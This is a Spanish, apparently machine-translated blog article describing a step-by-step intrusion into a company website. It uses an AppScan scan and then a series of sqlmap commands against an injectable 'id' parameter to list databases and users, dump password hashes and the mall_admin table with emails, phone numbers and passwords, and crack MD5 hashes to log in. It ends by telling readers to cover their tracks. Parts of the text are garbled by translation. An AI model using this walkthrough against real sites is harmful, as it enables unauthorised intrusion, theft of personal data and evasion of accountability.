Inyección SQL: cómo irrumpí en una empresa de Internet paso a paso
(1) Herramienta de escaneo de penetración AppScan
Appscan es una de las herramientas más utilizadas en el campo de las pruebas de penetración de aplicaciones web. Es una aplicación de escritorio que ayuda a los profesionales de la seguridad a realizar evaluaciones automatizadas de vulnerabilidad de aplicaciones web.
(2) Herramienta de prueba de penetración Sqlmap
Sqlmap es una herramienta de inyección SQL automatizada cuya función principal es escanear, descubrir y explotar vulnerabilidades de inyección SQL en una URL determinada.
Los detalles del delito son los siguientes
Primero, utilice la herramienta Appscan para escanear el sitio web oficial de la empresa de Internet www.xxx.com. Los resultados son los siguientes:
En estas 56 Encuentra el enlace que te interesa entre las preguntas de seguridad, como por ejemplo el siguiente enlace:
/system/cms/show?id=1
¿Por qué destacar este? Debido a que es una inyección SQL relativamente típica, popularicemos las prácticas comunes de inyección SQL. Primero, utilice la siguiente declaración para determinar si el sitio web tiene un punto de inyección:
/system/cms/show?id=1 Después de que el enlace tenga un punto de inyección, el siguiente paso es comenzar nuestra prueba de penetración. herramienta Sqlmap y realizar el siguiente trabajo de inyección, el proceso específico es el siguiente:
1) Confirme nuevamente si el punto de inyección de destino está disponible:
python sqlmap.py -u/system /cms/show?id=1
Parámetros:
-u: Especifica la URL del punto de inyección
Resultado:
Resultado de la inyección mostrar:
a. El parámetro id tiene una inyección ciega basada en booleano, es decir, las condiciones se pueden juzgar en función de la página de retorno de la inyección verdadera o falsa.
b. Hay una inyección ciega basada en el tiempo en el parámetro id, es decir, no se puede juzgar ninguna información en función del contenido de la página devuelta, sino que se utilizan declaraciones condicionales para ver si se retrasa la declaración. se ha ejecutado (es decir, si se ha aumentado el tiempo de retorno de la página) para juzgar.
c. Tipo de base de datos: MySql 5.0.12
2) base de datos Storm todas las bases de datos:
Un comando puede exponer todas las bases de datos en el nombre del servidor SQL, el comando De la siguiente manera:
python sqlmap.py -u /system/cms/show?id=1 -- dbs
Parámetros:
--dbs: dbs anterior Hay dos barras que enumeran todas las bases de datos.
Resultados:
Los resultados muestran que este sqlserver *** contiene 3 bases de datos disponibles.
3) Obtener la base de datos utilizada actualmente
python sqlmap.py -u /system/cms/show?id=1 --current-db
Parámetros :
--current-db: la base de datos utilizada actualmente.
Resultado:
4) Usar cuenta para obtener la base de datos actual
python sqlmap.py -u /system/cms/show?id=1 -- usuario actual
5) Listar todos los usuarios de sqlserver
python sqlmap.py -u /system/cms/show?id=1 --users
6) Obtenga la cuenta de base de datos y la contraseña del usuario actual
python sqlmap.py -u /system/cms/show?id=1 --passwords
El resultado muestra que Es posible que el usuario no haya leído Acerca de los permisos del sistema.
7) Listar las tablas de la base de datos
python sqlmap.py -u /system/cms/show?id=1 -D xxx_store --tables
Parámetros:
-D: Especificar el nombre de la base de datos
--tables: Listar tablas
Resultados:
Visualización de resultados** * 69 tablas enumeradas.
8) Listar los campos de la tabla
python sqlmap.py -u /system/cms/show?id=1 -D xxx_store -T mall_admin --columns
Parámetros:
-D: Especifica el nombre de la base de datos
-T: Especifica la tabla en la que se enumerarán los campos
-- columnas: especifique las columnas que se enumerarán Campos de salida
Resultado:
9) Tormenta de contenido de campo
python sqlmap.py -u /system/cms/show ?id=1 -D xxx_store -T mall_admin -C "ag_ id,correo electrónico,id,móvil,nombre,contraseña,estado" --dump
Parámetros:
-C: Especifique los campos que se van a asaltar
p>--dump: exportar resultados
Si hay demasiados campos, llevará mucho tiempo. Puede utilizar el siguiente comando para especificar la exportación de un rango específico de contenido de campo:
python sqlmap.py -u /system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id ,correo electrónico,id,móvil,nombre,contraseña, estado" --start 1 --stop 10 --dump
Parámetros:
--start: Especifica la línea de inicio p>
--stop: Especifica la línea de terminación
Este comando significa exportar la información del campo (ag_id, correo electrónico, id, móvil, nombre, contraseña, estado) de la tabla mall_admin en la base de datos. tienda_xxx.
Los resultados son los siguientes:
A través de la figura anterior, podemos ver la información del usuario en la tabla de administración. Desciframos el campo de contraseña a través de md5 para obtener la contraseña original del valor hash. A través del nombre de usuario y la contraseña, podemos iniciar sesión en el sitio web.
En este punto, hemos invadido con éxito el backend de una empresa y obtenido datos relevantes. Pero me gustaría recordarles a todos: una invasión exitosa es solo la mitad del éxito. ¡La parte más importante de la otra mitad es limpiarte el trasero para que otros no puedan encontrarte!
Este artículo fue proporcionado por el equipo de Tencent WeTest. Para obtener más información, puede hacer clic directamente en el enlace para verlo: /lab/ Indique al reimprimir: Xiongge Club.
Inyección SQL: cómo irrumpí en la empresa de Internet paso a paso
Etiquetas: